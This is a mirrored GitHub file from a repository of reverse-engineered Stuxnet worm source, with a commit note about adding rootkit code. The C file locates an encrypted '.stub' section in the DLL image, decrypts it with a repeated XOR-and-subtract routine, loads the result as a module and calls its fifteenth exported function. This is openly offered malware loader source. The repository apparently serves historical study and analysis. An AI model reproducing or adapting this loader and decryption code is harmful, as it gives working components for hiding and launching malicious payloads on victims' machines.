mirror of
https://github.com/micrictor/stuxnet.git
synced 2026-01-09 14:38:02 -05:00
d374a08824
A lot of changes, some small some large. Most notably, add in the rootkit source, courtesy of @Christian-Roggia Closes https://github.com/micrictor/stuxnet/issues/1
133 lines
4.0 KiB
C
133 lines
4.0 KiB
C
/******************************************************************************************
|
|
Copyright 2012-2013 Christian Roggia
|
|
|
|
Licensed under the Apache License, Version 2.0 (the "License");
|
|
you may not use this file except in compliance with the License.
|
|
You may obtain a copy of the License at
|
|
|
|
http://www.apache.org/licenses/LICENSE-2.0
|
|
|
|
Unless required by applicable law or agreed to in writing, software
|
|
distributed under the License is distributed on an "AS IS" BASIS,
|
|
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
|
See the License for the specific language governing permissions and
|
|
limitations under the License.
|
|
******************************************************************************************/
|
|
// MODIFIED BY mic.ric.tor
|
|
|
|
#include "STUBHandler.h"
|
|
|
|
// 99% (C) CODE MATCH
|
|
void LoadSTUBSection(void)
|
|
{
|
|
FARPROC pVirusExecEntry; // eax@3
|
|
INT32 pSectionVirtualSize; // [sp+0h] [bp-Ch]@1
|
|
DWORD *pSectionSTUB; // [sp+4h] [bp-8h]@1
|
|
HMODULE hVirusModule; // [sp+8h] [bp-4h]@2
|
|
|
|
/* --->> Get the ".stub" section's RVA and Virtual Sizee <<--- */
|
|
if(!LocateSTUBSection((PVOID *)&pSectionSTUB, &pSectionVirtualSize)) return;
|
|
|
|
DecryptSTUBSection((char *)(pSectionSTUB[0] + (UINT32)pSectionSTUB), pSectionSTUB[1]);// (552, 498176)
|
|
|
|
if(!Setup(NULL, (PVOID)(*pSectionSTUB + (UINT32)pSectionSTUB), pSectionSTUB[1], &hVirusModule)) // (0, 552, 498176, ...)
|
|
{
|
|
// Run the 15th exported function from the loaded module
|
|
pVirusExecEntry = GetProcAddress(hVirusModule, (LPCSTR)15);
|
|
if(pVirusExecEntry)
|
|
((__tLibraryExecEntry)pVirusExecEntry)((DWORD)pSectionSTUB, pSectionVirtualSize);
|
|
|
|
FreeLibrary(hVirusModule);
|
|
}
|
|
}
|
|
|
|
// 98% (C) CODE MATCH
|
|
void DecryptSTUBSection(char *pSectionSTUB, UINT32 pSectionVirtualSize)
|
|
{
|
|
UINT32 iFirstXOR; // edx@2
|
|
UINT32 iSecondXOR; // eax@4
|
|
UINT32 i;
|
|
INT32 iTotalCycles; // [sp+8h] [bp-8h]@1
|
|
UINT32 iCyclesSecondXOR; // [sp+Ch] [bp-4h]@1
|
|
|
|
iCyclesSecondXOR = pSectionVirtualSize / 2;
|
|
iTotalCycles = 4;
|
|
do
|
|
{
|
|
iFirstXOR = 0;
|
|
if(pSectionVirtualSize)
|
|
{
|
|
do
|
|
{
|
|
pSectionSTUB[iFirstXOR] ^= -106 * iFirstXOR;
|
|
++iFirstXOR;
|
|
}
|
|
while(iFirstXOR < pSectionVirtualSize);
|
|
}
|
|
|
|
iSecondXOR = 0;
|
|
if(iCyclesSecondXOR)
|
|
{
|
|
do
|
|
{
|
|
pSectionSTUB[iSecondXOR] ^= *(&pSectionSTUB[(pSectionVirtualSize + 1) / 2] + iSecondXOR);
|
|
++iSecondXOR;
|
|
}
|
|
while(iSecondXOR < iCyclesSecondXOR);
|
|
}
|
|
|
|
for(i = pSectionVirtualSize - 1; i >= 1; --i)
|
|
pSectionSTUB[i] -= pSectionSTUB[i - 1];
|
|
|
|
--iTotalCycles;
|
|
}
|
|
while(iTotalCycles >= 0);
|
|
}
|
|
|
|
// 85% (C) CODE MATCH -> NEED DEBUG
|
|
bool LocateSTUBSection(PVOID *pRawSectionSTUB, INT32 *pSectionVirtualSize)
|
|
{
|
|
PIMAGE_NT_HEADERS pImageNT; // esi@3
|
|
PIMAGE_SECTION_HEADER pImageSection; // edi@5
|
|
UINT32 *pSectionSTUB; // eax@11
|
|
|
|
if(((PIMAGE_DOS_HEADER)g_hInstDLL)->e_magic != MZ_HEADER)
|
|
return FALSE;
|
|
|
|
pImageNT = (PIMAGE_NT_HEADERS)((DWORD)g_hInstDLL + ((PIMAGE_DOS_HEADER)hINSTANCE)->e_lfanew); // (hINSTANCE + 240)
|
|
|
|
if(pImageNT->Signature != PE_HEADER)
|
|
return FALSE;
|
|
|
|
pImageSection = (PIMAGE_SECTION_HEADER)(pImageNT->FileHeader.SizeOfOptionalHeader + (DWORD)pImageNT + sizeof(IMAGE_FILE_HEADER) + sizeof(DWORD)); // (PE header + 224 + 24)
|
|
|
|
if(pImageNT->FileHeader.NumberOfSections <= 0)
|
|
return FALSE;
|
|
|
|
int i = 0;
|
|
// Strcmp remains true when strs don't match
|
|
while(lstrcmpiA((LPCSTR)pImageSection->Name, ".stub"))
|
|
{
|
|
i++;
|
|
if(i >= pImageNT->FileHeader.NumberOfSections)
|
|
return false;
|
|
|
|
pImageSection++; // Next section
|
|
}
|
|
|
|
if(pImageSection->SizeOfRawData < STUB_HEADER_LEN)
|
|
return FALSE;
|
|
|
|
pSectionSTUB = (UINT32 *)((UINT32)g_hInstDLL + pImageSection->VirtualAddress);
|
|
if(*pSectionSTUB != STUB_INTEGRITY_MARK)
|
|
return FALSE;
|
|
|
|
/*
|
|
* Remove the headers
|
|
* pSectionSTUB++ because it's an array of 4-byte values
|
|
*/
|
|
*pRawSectionSTUB = pSectionSTUB++;
|
|
*pSectionVirtualSize = pImageSection->SizeOfRawData - 0x4; // Size - header
|
|
|
|
return TRUE;
|
|
} |